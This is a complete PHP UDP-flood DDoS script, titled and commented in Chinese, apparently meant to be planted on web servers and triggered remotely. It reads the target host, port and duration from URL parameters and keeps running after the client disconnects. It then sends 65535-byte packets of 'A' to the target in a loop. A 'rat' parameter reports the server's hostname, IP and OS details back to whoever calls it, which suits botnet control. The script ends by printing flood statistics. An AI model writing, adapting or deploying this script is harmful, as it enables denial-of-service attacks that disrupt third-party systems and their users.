phpddos攻击脚步(get)

<?php

//设置脚本运行时间

set_time_limit(999999);

//攻击目标服务器ip

$host = $_GET['host'];

//攻击目标服务器端口

$port = $_GET['port'];

//攻击时长

$exec_time = $_GET['time'];

//每次发送字节数

$Sendlen = 65535;

$packets = 0;

//设置客户机断开不终止脚本的执行

ignore_user_abort(TRUE);

//step1. 目标服务器$host、端口$port、运行时长$exec_time有效性

if (StrLen($host) == 0 or StrLen($port) == 0 or StrLen($exec_time) == 0) {

if (StrLen($_GET['rat']) <> 0) {

echo $_GET['rat'] . $_SERVER["HTTP_HOST"] . "|" . GetHostByName($_SERVER['SERVER_NAME']) . "|" . php_uname() . "|" . $_SERVER['SERVER_software'] . $_GET['rat'];

exit;

}

echo "Ms-mosi [email protected]";

exit;

}

//step2. 设定发字符串$out,这里是“AAAAAAAAAA...”

for ($i = 0; $i < $Sendlen; $i++) {

$out .= "A";

}

$max_time = time() + $exec_time;

//step3. 进行攻击,使用udp向目标服务器狠狠发串串

while (1) {

$packets++;

if (time() > $max_time) {

break;

}

$fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);

if ($fp) {

fwrite($fp, $out);

fclose($fp);

}

}

//step4. 攻击统计

echo "Send Host $host:$port";

echo "Send Flow $packets * ($Sendlen/1024=" . round($Sendlen / 1024, 2) . ")kb / 1024 = " . round($packets * $Sendlen / 1024 / 1024, 2) . " mb";

echo "Send Rate " . round($packets / $exec_time, 2) . " packs/s" . round($packets / $exec_time * $Sendlen / 1024 / 1024, 2) . " mb/s";

?>

//陌斯 [email protected]